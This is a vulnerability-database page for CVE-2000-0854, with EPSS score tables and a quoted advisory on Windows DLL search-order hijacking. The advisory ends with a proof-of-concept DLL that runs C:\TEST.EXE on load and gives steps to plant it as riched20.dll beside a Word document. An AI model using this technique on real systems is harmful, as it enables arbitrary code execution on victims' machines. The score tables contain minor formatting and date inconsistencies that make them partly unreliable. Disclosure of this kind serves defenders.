CVE-2000-0854 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	21.12%	–	–
2022-04-03	–	–	21.12%	–	–
2023-02-26	–	–	21.12%	–	–
2023-03-12	–	–	–	0.65%	–
2023-04-09	–	–	–	0.72%	–
2023-10-15	–	–	–	1.81%	–
2024-02-11	–	–	–	1.81%	–
2024-06-02	–	–	–	1.81%	–
2024-10-27	–	–	–	1.81%	–
2024-11-03	–	–	–	1.81%	–
2024-12-22	–	–	–	3.48%	–
2025-02-09	–	–	–	3.48%	–
2025-01-19	–	–	–	3.48%	–
2025-02-16	–	–	–	3.48%	–
2025-03-18	–	–	–	–	33.96%
2025-03-30	–	–	–	–	32.13%
2025-04-06	–	–	–	–	37.75%
2025-04-06	–	–	–	–	37.75,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	94%
2022-04-03	96%
2023-02-26	97%
2023-03-12	76%
2023-04-09	78%
2023-10-15	87%
2024-02-11	88%
2024-06-02	88%
2024-10-27	88%
2024-11-03	89%
2024-12-22	91%
2025-02-09	92%
2025-01-19	91%
2025-02-16	92%
2025-03-18	97%
2025-03-30	96%
2025-04-06	97%
2025-04-06	97%

source: https://www.securityfocus.com/bid/1699/info When a program executes under Microsoft Windows, it may require additional code stored in DLL library files. These files are dynamically located at run time, and loaded if necessary. A weakness exists in the algorithm used to locate these files. The search algorithm used to locate DLL files specifies that the current working directory is checked before the System folders. If a trojaned DLL can be inserted into the system in an arbitrary location, and a predictable executable called with the same current working directory, the trojaned DLL may be loaded and executed. This may occur when a data file is accessed through the 'Run' function, or double clicked in Windows Explorer. This has been reported to occur with the 'riched20.dll' and 'msi.dll' DLL files and some Microsoft Office applications, including WordPad. This behavior has also been reported for files loaded from UNC shares, or directly from FTP servers. // dll1.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" #include "stdlib.h" BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: // Initialize once for each new process. // Return FALSE to fail DLL load. MessageBox(NULL, "Hello world!", "Info", MB_OK); MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to create it.", "Info", MB_OK); system("C:\\TEST.EXE"); break; case DLL_THREAD_ATTACH: // Do thread-specific initialization. // MessageBox(NULL, "DllMain.dll: DLL_THREAD_ATTACH", "Info", MB_OK); break; case DLL_THREAD_DETACH: // Do thread-specific cleanup. break; case DLL_PROCESS_DETACH: // Perform any necessary cleanup. break; } return TRUE; } 1) Rename dll1.dll to riched20.dll 2) Place riched20.dll in a directory of your choice 3) Close all Office applications 4) From Windows Explorer double click on an Office document (preferably MS Word document) in the directory containg riched20.dll